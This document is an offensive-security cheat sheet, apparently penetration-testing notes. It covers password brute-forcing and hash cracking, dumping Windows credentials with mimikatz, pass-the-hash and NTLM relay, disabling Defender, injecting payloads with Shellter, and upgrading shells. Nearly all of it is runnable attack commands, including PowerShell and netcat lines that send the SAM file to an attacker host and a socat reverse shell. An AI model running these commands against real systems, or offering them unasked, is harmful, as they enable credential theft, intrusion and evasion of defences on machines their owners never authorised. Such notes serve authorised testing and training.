NOOB2ROOT

Notes General

Credentials, payloads & operator tradecraft

The cross-cutting kit: password and hash cracking, Windows credential reuse (PtH, Net-NTLMv2, Credential Guard), AV/Defender evasion, file transfer, and shell-upgrade tricks.

The material that doesn't belong to one domain but shows up in every engagement — cracking what you capture, reusing Windows credentials, getting payloads past Defender, moving files, and turning a raw shell into a usable one.

#Password & hash cracking

Brute-force live services with hydra — pick the module to match the service:

sudo gzip -d /usr/share/wordlists/rockyou.txt.gz         # first run only

hydra -l george -P rockyou.txt -s 2222 ssh://192.168.10.50
hydra -L names.txt -p 'SuperS3cure1337#' rdp://192.168.10.50     # spray one password
hydra -l user -P rockyou.txt 192.168.10.50 http-post-form \
  "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid" -vv

Common hashcat modes: 1000 NTLM · 5600 NetNTLMv2 · 13100 Kerberoast · 18200 AS-REP · 400 phpass · 16900 Ansible Vault. Standard run:

hashcat -m 1000 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Mutate wordlists with rules when policy forces a capital + digit:

echo '$1 c' > demo.rule                # append 1, capitalise first letter
hashcat -r demo.rule --stdout demo.txt # preview the mutations (no cracking)

Build a target-specific list from the site's own words:

cewl http://<ip>/ | grep -v CeWL > custom-wordlist.txt

Ansible Vault hashes crack via John's extractor, mode 16900 — or decrypt directly if you recover the vault password:

ansible2john vault_file > ansible.hash
cat vault_file | ansible-vault decrypt

#Windows credential reuse

Dump NTLM from a box you own, then reuse it — you rarely need to crack it:

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam            # NTLM from the SAM

Pass-the-hash — authenticate with the hash directly:

smbclient \\\\<ip>\\secrets -U Administrator --pw-nt-hash <ntlm>
impacket-psexec  -hashes :<ntlm> Administrator@<ip>   # shell as SYSTEM
impacket-wmiexec -hashes :<ntlm> Administrator@<ip>   # shell as the user

Net-NTLMv2 — when you can't run Mimikatz, coerce auth to Responder and crack (-m 5600), or relay it live with ntlmrelayx:

# coerce: from any shell on the target
dir \\<kali-ip>\test
# relay instead of crack
sudo impacket-ntlmrelayx --no-http-server -smb2support -t <target> -c "powershell -enc <b64>"

Credential Guard blocks LSASS dumping — inject a fake SSP and harvest cleartext at next logon:

mimikatz # misc::memssp
type C:\Windows\System32\mimilsa.log     # creds land here as users log in

#AV / Defender evasion

Check exclusions and, with admin, drop Defender's guard (Tamper Protection may block this):

Get-MpComputerStatus
Get-MpPreference | select ExclusionPath
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableScriptScanning $true -DisableIOAVProtection $true

Get a payload past static AV with Shellter (inject into a legit PE), then catch it:

sudo shellter            # mode A → pick e.g. spotifysetup.exe → stealth Y → set payload/LHOST/LPORT
msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST <ip>;set LPORT 443;run"

#File transfer

Pure-PowerShell TCP exfil when nc.exe/certutil aren't options:

$c = New-Object System.Net.Sockets.TCPClient("<kali-ip>",5555)
$s = $c.GetStream()
$b = [IO.File]::ReadAllBytes("C:\Windows\Temp\SAM")
$s.Write($b,0,$b.Length); $s.Close(); $c.Close()
nc -lvnp 5555 > SAM        # on Kali

Pull files through MSSQL with NetExec, or netcat both ways:

nxc mssql <ip> -u sql_svc -p <pass> --get-file C:\\temp\\SYSTEM ./SYSTEM
type scan | .\nc.exe <kali-ip> 4646     # victim → nc -lvp 4646 > scan_copy on Kali

#Shell upgrade & operator tricks

Turn a dumb reverse shell into a full TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
# Ctrl+Z, then on Kali:
stty raw -echo ; fg ; reset
stty columns 200 rows 200

Habits worth keeping:

  • First moves on an AD box: nxc smb <ip> for hostname + domain, add both to /etc/hosts. Clock skew too great → sudo ntpdate <dc-ip>.
  • Creds from a pcap: strings capture.pcapng | grep -Ei 'Authorization: Basic|login|password|user|pass'.
  • Mount and grep an SMB share: mount -t cifs //<ip>/backup /mnt -o guest then grep -riI pass /mnt.
  • Escape rbash with socat when it's installed:
# Kali
socat file:`tty`,raw,echo=0 tcp-listen:4444
# target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<kali-ip>:4444